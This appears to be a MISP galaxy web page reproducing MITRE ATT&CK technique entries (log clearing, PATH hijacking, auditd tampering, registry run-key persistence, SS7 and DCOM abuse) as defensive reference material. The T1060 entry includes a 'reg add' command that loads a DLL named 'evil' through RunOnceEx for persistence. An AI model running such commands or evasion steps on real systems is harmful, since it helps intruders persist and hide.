- https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry - webarchive
- https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/ - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1547.001 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Modification', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Clear Linux or Mac System Logs - T1070.002
Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)
/var/log/messages:: General and system-related messages/var/log/secureor/var/log/auth.log: Authentication logs/var/log/utmpor/var/log/wtmp: Login records/var/log/kern.log: Kernel logs/var/log/cron.log: Crond logs/var/log/maillog: Mail server logs/var/log/httpd/: Web server access and error logs
Internal MISP references
UUID 2bce5b30-7014-4a5d-ade7-12913fe6ac36 which can be used as unique global reference for Clear Linux or Mac System Logs - T1070.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1070.002 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Deletion', 'File: File Modification'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Clear Network Connection History and Configurations - T1070.007
Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as Remote Services or External Remote Services. Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.
Network connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\DefaultHKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers
Windows may also store information about recent RDP connections in files such as C:\Users\%username%\Documents\Default.rdp and C:\Users\%username%\AppData\Local\Microsoft\Terminal
Server Client\Cache\.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in /Library/Logs and/or /var/log/).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)
Malicious network connections may also require changes to third-party applications or network configuration settings, such as Disable or Modify System Firewall or tampering to enable Proxy. Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.
Internal MISP references
UUID 3975dbb5-0e1e-4f5b-bae1-cf2ab84b46dc which can be used as unique global reference for Clear Network Connection History and Configurations - T1070.007 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1070/007 - webarchive
- https://discussions.apple.com/thread/3991574 - webarchive
- https://docs.microsoft.com/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer - webarchive
- https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins - webarchive
- https://www.freedesktop.org/software/systemd/man/systemd-journald.service.html - webarchive
- https://www.osdfcon.org/presentations/2020/Brian-Moran_Putting-Together-the-RDPieces.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1070.007 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Network:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Modification', 'Firewall: Firewall Rule Modification', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Related clusters
To see the related clusters, click here.
Compromise Software Dependencies and Development Tools - T1195.001
Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)
Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.
Internal MISP references
UUID 191cc6af-1bb2-4344-ab5f-28e496638720 which can be used as unique global reference for Compromise Software Dependencies and Development Tools - T1195.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1195.001 |
| kill_chain | ['attack-Linux:initial-access', 'attack-macOS:initial-access', 'attack-Windows:initial-access'] |
| mitre_data_sources | ['File: File Metadata'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Windows File and Directory Permissions Modification - T1222.001
Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)
Adversaries can interact with the DACLs using built-in Windows commands, such as icacls, cacls, takeown, and attrib, which can grant adversaries higher permissions on specific files and folders. Further, PowerShell provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via Accessibility Features, Boot or Logon Initialization Scripts, or tainting/hijacking other instrumental binary/configuration files via Hijack Execution Flow.
Internal MISP references
UUID 34e793de-0274-4982-9c1a-246ed1c19dee which can be used as unique global reference for Windows File and Directory Permissions Modification - T1222.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1222/001 - webarchive
- https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists - webarchive
- https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces - webarchive
- https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/ - webarchive
- https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110 - webarchive
- https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1222.001 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Modification', 'Command: Command Execution', 'File: File Metadata', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Compromise Software Dependencies and Development Tools - T1474.001
Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Grace-Advertisement)
Internal MISP references
UUID 7827ced0-95e7-4d05-bdcf-0d8f2d37a3d3 which can be used as unique global reference for Compromise Software Dependencies and Development Tools - T1474.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1474/001 - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-0.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-10.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-15.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-3.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-9.html - webarchive
- https://www.csc2.ncsu.edu/faculty/xjiang4/pubs/WISEC12_ADRISK.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1474.001 |
| kill_chain | ['mobile-attack-Android:initial-access', 'mobile-attack-iOS:initial-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Path Interception by PATH Environment Variable - T1574.007
Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line.
Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.
For example, on Windows if an adversary places a malicious program named "net.exe" in C:\example path, which by default precedes C:\Windows\system32\net.exe in the PATH environment variable, when "net" is executed from the command-line the C:\example path will be called instead of the system's legitimate executable at C:\Windows\system32\net.exe. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a Command and Scripting Interpreter.(Citation: ExpressVPN PATH env Windows 2021)
Adversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the $PATH variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, Unix Shell Configuration Modification, or modifying the /etc/paths.d folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)
Internal MISP references
UUID 0c2d00da-7742-49e7-9928-4514e5075d32 which can be used as unique global reference for Path Interception by PATH Environment Variable - T1574.007 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1574/007 - webarchive
- https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/ - webarchive
- https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html - webarchive
- https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/ - webarchive
- https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1574.007 |
| kill_chain | ['attack-Windows:persistence', 'attack-macOS:persistence', 'attack-Linux:persistence', 'attack-Windows:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-Linux:privilege-escalation', 'attack-Windows:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Linux:defense-evasion'] |
| mitre_data_sources | ['File: File Creation', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux'] |
Related clusters
To see the related clusters, click here.
Path Interception by Search Order Hijacking - T1574.008
Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.
Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike DLL Search Order Hijacking, the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.
For example, "example.exe" runs "cmd.exe" with the command-line argument net user. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then cmd.exe /C net user will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)
Search order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.
Internal MISP references
UUID 58af3705-8740-4c68-9329-ec015a7013c2 which can be used as unique global reference for Path Interception by Search Order Hijacking - T1574.008 in MISP communities and other software using the MISP galaxy
External references
- http://msdn.microsoft.com/en-us/library/ms682425 - webarchive
- http://msdn.microsoft.com/en-us/library/ms687393 - webarchive
- https://attack.mitre.org/techniques/T1574/008 - webarchive
- https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120 - webarchive
- https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1574.008 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Creation', 'File: File Modification', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Disable or Modify Linux Audit System - T1562.012
Adversaries may disable or modify the Linux audit system to hide malicious activity and avoid detection. Linux admins use the Linux Audit system to track security-relevant information on a system. The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules.
Often referred to as auditd, this is the name of the daemon used to write events to disk and is governed by the parameters set in the audit.conf configuration file. Two primary ways to configure the log generation rules are through the command line auditctl utility and the file /etc/audit/audit.rules, containing a sequence of auditctl commands loaded at boot time.(Citation: Red Hat System Auditing)(Citation: IzyKnows auditd threat detection 2022)
With root privileges, adversaries may be able to ensure their activity is not logged through disabling the Audit system service, editing the configuration/rule files, or by hooking the Audit system library functions. Using the command line, adversaries can disable the Audit system service through killing processes associated with auditd daemon or use systemctl to stop the Audit service. Adversaries can also hook Audit system functions to disable logging or modify the rules contained in the /etc/audit/audit.rules or audit.conf files to ignore malicious activity.(Citation: Trustwave Honeypot SkidMap 2023)(Citation: ESET Ebury Feb 2014)
Internal MISP references
UUID 562e9b64-7239-493d-80f4-2bff900d9054 which can be used as unique global reference for Disable or Modify Linux Audit System - T1562.012 in MISP communities and other software using the MISP galaxy
External references
- https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing - webarchive
- https://attack.mitre.org/techniques/T1562/012 - webarchive
- https://izyknows.medium.com/linux-auditd-for-threat-detection-d06c8b941505 - webarchive
- https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/honeypot-recon-new-variant-of-skidmap-targeting-redis/ - webarchive
- https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1562.012 |
| kill_chain | ['attack-Linux:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Deletion', 'File: File Modification', 'Process: OS API Execution', 'Process: Process Modification'] |
| mitre_platforms | ['Linux'] |
Related clusters
To see the related clusters, click here.
Registry Run Keys / Startup Folder - T1060
Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.
Placing a program within a startup folder will cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.
The startup folder path for the current user is:
* C:\Users[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
The startup folder path for all users is:
* C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
The following run keys are created by default on Windows systems:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)
The following Registry keys can be used to set startup folder items for persistence:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
The following Registry keys can control automatic startup of services during boot:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.
Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.
By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.
Internal MISP references
UUID 9422fc14-1c43-410d-ab0f-a709b76c72dc which can be used as unique global reference for Registry Run Keys / Startup Folder - T1060 in MISP communities and other software using the MISP galaxy
External references
- http://msdn.microsoft.com/en-us/library/aa376977 - webarchive
- https://attack.mitre.org/techniques/T1060 - webarchive
- https://capec.mitre.org/data/definitions/270.html - webarchive
- https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/ - webarchive
- https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1060 |
| kill_chain | ['attack-Windows:persistence'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Exploit SS7 to Redirect Phone Calls/SMS - T1449
An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker's control. The adversary could then act as an adversary-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7).
Internal MISP references
UUID fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d which can be used as unique global reference for Exploit SS7 to Redirect Phone Calls/SMS - T1449 in MISP communities and other software using the MISP galaxy
External references
- http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf - webarchive
- https://attack.mitre.org/techniques/T1449 - webarchive
- https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-37.html - webarchive
- https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf - webarchive
- https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf - webarchive
- https://www.theregister.co.uk/2017/05/03/hackers_fire_up_ss7_flaw/ - webarchive
- https://www.youtube.com/watch?v=q0n5ySqbfdI - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1449 |
| kill_chain | ['mobile-attack-Android:network-effects', 'mobile-attack-iOS:network-effects'] |
| mitre_platforms | ['Android', 'iOS'] |
Assess security posture of physical locations - T1302
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)
Internal MISP references
UUID 31a57c70-6709-4d06-a473-c3df1f74c1d4 which can be used as unique global reference for Assess security posture of physical locations - T1302 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1302 |
| kill_chain | ['pre-attack:organizational-weakness-identification'] |
Determine domain and IP address space - T1250
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)
Internal MISP references
UUID 23ecb7e0-0340-43d9-80a5-8971fe866ddf which can be used as unique global reference for Determine domain and IP address space - T1250 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1250 |
| kill_chain | ['pre-attack:technical-information-gathering'] |
Research visibility gap of security vendors - T1290
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)
Internal MISP references
UUID b26babc7-9127-4bd5-9750-5e49748c9be3 which can be used as unique global reference for Research visibility gap of security vendors - T1290 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1290 |
| kill_chain | ['pre-attack:technical-weakness-identification'] |
Exploit SS7 to Track Device Location - T1450
An adversary could exploit signaling system vulnerabilities to track the location of mobile devices. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport)
Internal MISP references
UUID 52651225-0b3a-482d-aa7e-10618fd063b5 which can be used as unique global reference for Exploit SS7 to Track Device Location - T1450 in MISP communities and other software using the MISP galaxy
External references
- http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf - webarchive
- https://attack.mitre.org/techniques/T1450 - webarchive
- https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html - webarchive
- https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf - webarchive
- https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf - webarchive
- https://www.youtube.com/watch?v=q0n5ySqbfdI - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1450 |
| kill_chain | ['mobile-attack-Android:network-effects', 'mobile-attack-iOS:network-effects'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Access Sensitive Data in Device Logs - T1413
On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device's system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.
Internal MISP references
UUID 29e07491-8947-43a3-8d4e-9a787c45f3d3 which can be used as unique global reference for Access Sensitive Data in Device Logs - T1413 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1413 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-Android:credential-access'] |
| mitre_platforms | ['Android'] |
Stolen Developer Credentials or Signing Keys - T1441
An adversary could steal developer account credentials on an app store and/or signing keys to publish malicious updates to existing Android or iOS apps, or to abuse the developer's identity and reputation to publish new malicious applications. For example, Infoworld describes this technique and suggests mitigations in (Citation: Infoworld-Appstore).
Detection: Developers can regularly scan (or have a third party scan on their behalf) the app stores for presence of unauthorized apps that were submitted using the developer's identity.
Platforms: Android, iOS
Internal MISP references
UUID a21a6a79-f9a1-4c87-aed9-ba2d79536881 which can be used as unique global reference for Stolen Developer Credentials or Signing Keys - T1441 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1441 |
Related clusters
To see the related clusters, click here.
Component Object Model and Distributed COM - T1175
This technique has been deprecated. Please use Distributed Component Object Model and Component Object Model.
Adversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement.
COM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)
Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.
Adversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a Scheduled Task/Job, fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)
Adversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.
Internal MISP references
UUID 772bc7a8-a157-42cc-8728-d648e25c7fe7 which can be used as unique global reference for Component Object Model and Distributed COM - T1175 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1175 - webarchive
- https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1 - webarchive
- https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ - webarchive
- https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ - webarchive
- https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ - webarchive
- https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/ - webarchive
- https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html - webarchive
- https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx - webarchive
- https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx - webarchive
- https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom - webarchive
- https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1175 |
| kill_chain | ['attack-Windows:lateral-movement', 'attack-Windows:execution'] |
| mitre_platforms | ['Windows'] |
Develop social network persona digital footprint - T1342
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Both newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)
Internal MISP references
UUID 271e6d40-e191-421a-8f87-a8102452c201 which can be used as unique global reference for Develop social network persona digital footprint - T1342 in MISP communities and other software using the MISP galaxy
External references
- http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf - webarchive
- https://attack.mitre.org/techniques/T1342 - webarchive
- https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1342 |
| kill_chain | ['pre-attack:persona-development'] |
Assess vulnerability of 3rd party vendors - T1298
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)
Internal MISP references
